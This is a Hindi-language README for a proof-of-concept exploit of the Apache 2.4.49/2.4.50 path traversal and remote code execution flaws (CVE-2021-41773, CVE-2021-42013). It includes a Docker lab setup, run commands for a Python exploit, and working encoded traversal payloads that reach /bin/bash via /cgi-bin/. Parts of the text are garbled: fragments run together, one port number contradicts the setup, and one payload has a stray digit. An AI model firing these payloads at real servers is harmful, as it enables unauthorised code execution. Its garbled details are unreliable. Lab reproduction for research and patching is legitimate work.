
अपाचे HTTP सर्वर 2.4.49/2.4.50 के पथ ट्रैवर्सल कमजोरी (CVE-2021-41773) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो CGI स्क्रिप्ट के माध्यम से रिमोट कोड निष्पादन सक्षम करता है। इसमें डॉकर-आधारित पुनरुत्पादन वातावरण और पायथन एक्सप्लॉइट स्क्रिप्ट शामिल है।
Apache HTTP Server 2.4.49 में पथ सामान्यीकरण में किए गए एक बदलाव में एक दोष पाया गया। एक हमलावर पथ ट्रैवर्सल हमले का उपयोग करके Alias-जैसे निर्देशों द्वारा कॉन्फ़िगर किए गए निर्देशिकाओं के बाहर फ़ाइलों के लिए URL मैप कर सकता है। यदि इन निर्देशिकाओं के बाहर की फ़ाइलें डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा संरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन aliased पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह रिमोट कोड निष्पादन (remote code execution) की अनुमति दे सकता है। यह मुद्दा वास्तविक दुनिया में शोषित होने के लिए जाना जाता है। यह मुद्दा केवल Apache 2.4.49 को प्रभावित करता है, पिछले संस्करणों को नहीं। Apache HTTP Server 2.4.50 में सुधार अधूरा था, CVE-2021-42013 देखें।
pip3 install colorama से इंस्टॉल करें)perl CGI स्क्रिप्टएक असुरक्षित Apache httpd (डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ) को docker/podman कंटेनर के रूप में प्रारंभ करें।
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 संस्करण 2.4.49 पर हमला चुनें
1.3 python3 main.py localhost:2450
1.4 संस्करण 2.4.50 पर हमला चुनें
एक्सप्लॉइट Apache httpd के CGI मॉड्यूल का उपयोग करके पथ ट्रैवर्सल के माध्यम से मनमाने निष्पादन की अनुमति देगा।
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ url-एन्कोडेड है और डीकोड होने पर ../ के बराबर होता है।
.%%32%658 डबल url-एन्कोडेड है और डीकोड होने पर ../ के बराबर भी होता है।